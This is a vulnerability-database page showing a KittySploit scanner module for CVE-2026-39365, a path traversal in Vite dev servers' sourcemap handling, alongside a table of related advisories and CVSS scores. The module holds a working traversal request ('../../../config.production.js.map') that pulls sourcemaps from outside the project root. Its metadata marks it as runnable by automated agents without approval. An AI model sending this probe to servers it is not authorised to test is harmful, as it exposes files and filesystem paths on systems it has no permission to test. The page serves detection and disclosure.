Vite Dev Server - Path Traversal in Optimized Deps .map Handling Detection
| Reporter | Title | Published | Views | Family All 134 |
|---|---|---|---|---|
| Security Bulletin: Multiple Vulnerabilities in IBM Engineering AI hub. | 14 Jul 202611:48 | – | ibm | |
| CVE-2026-39365 | 7 Apr 202619:13 | – | attackerkb | |
| The vulnerability of the local development servers for Vite and Vite+ relates to incorrect path name restrictions for the catalog, which allows attackers to expose protected information. | 31 Jul 202600:00 | – | bdu_fstec | |
| CVE-2026-39365 vulnerabilities | 10 Apr 202602:14 | – | cgr | |
| CVE-2026-39365 | 6 Apr 202612:13 | – | circl | |
| Vite 路径遍历漏洞 | 7 Apr 202600:00 | – | cnnvd | |
| CVE-2026-39365 | 7 Apr 202619:13 | – | cve | |
| CVE-2026-39365 Vite has a Path Traversal in Optimized Deps `.map` Handling | 7 Apr 202619:13 | – | cvelist | |
| EUVD-2026-19875 | 7 Apr 202619:13 | – | euvd | |
| Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling | 6 Apr 202618:03 | – | github |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Vite development server versions prior to 8."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Vite Dev Server - Path Traversal in Optimized Deps .map Handling Detection',
'description': "Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2026', 'vite', 'lfi', 'path-traversal', 'vuln', 'unauthenticated', 'vkev'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/advisories/GHSA-4w7w-66w2-5vf9',
'https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9',
'https://nvd.nist.gov/vuln/detail/CVE-2026-39365',
],
'cve': 'CVE-2026-39365',
}
def run(self):
path = '/'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return False
path = '/node_modules/.vite/deps/../../../config.production.js.map'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('"version":3', '"mappings"',)
header_any = ('application/json',)
body_regexes = ('"file":"/',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)) and (any(re.search(rx, body) for rx in body_regexes)):
self.set_info(severity='medium', reason='Vite Dev Server - Path Traversal in Optimized Deps .map Handling detected', path=path)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.15.3
CVSS 46.3
EPSS0.00982
SSVC